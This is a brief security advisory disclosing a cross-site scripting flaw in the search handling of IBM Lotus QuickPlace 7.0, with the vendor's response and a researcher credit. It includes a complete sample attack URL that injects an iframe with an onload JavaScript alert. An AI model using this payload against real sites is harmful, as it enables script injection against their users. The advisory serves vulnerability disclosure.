[NEWS] IBM Lotus QuickPlace Cross Site Scripting



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IBM Lotus QuickPlace Cross Site Scripting
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SUMMARY

IBM Lotus <http://www.ibm.com/software/lotus/products/quickplace/>
QuickPlace is "a business-ready, self-service work space expressly
designed for team collaboration". A vulnerability in the way IBM Lotus
QuickPlace handles incoming searches allows attackers to cause it to
insert arbitrary HTML and/or JavaScript.

DETAILS

Vulnerable Systems:
* IBM Lotus QuickPlace version 7.0

Exploit:
The following is a sample attack string:
http://website/QuickPlace/leg/Main.nsf/h_Toc/$new/?EditDocument&Form=h_RemoteUI&; PreSetFields=h_EditAction;h_New,h_SetReadScene;h_StdPageRead,h_SetEditScene; h_RemoteSearchResults,h_ReturnToPage;B4F8E49FCF2698BE862573F100705440,h_SetRemote; 1,h_SearchString;<iframe/ /onload=alert(/XSSByNirG/)></iframe,h_SearchAuthor; ,h_SearchDate;,h_SearchDateTypeString;,h_SearchOrder; ,h_SearchCount;15,h_SearchStart;0,h_SetErrorScene; h_RemoteError,h_SetEditCurrentScene;h_RemoteSearchResults,h_SetQuickBrowse; 1,h_SearchFolderScope;,h_SearchRoomScope;,h_SearchType;

Vendor response:
The product is no longer being sold, any active customer concerned about
this vulnerability should contact IBM Lotus QuickPlace support.


ADDITIONAL INFORMATION

The information has been provided by Nir Goldshlager (Avnet Israel).



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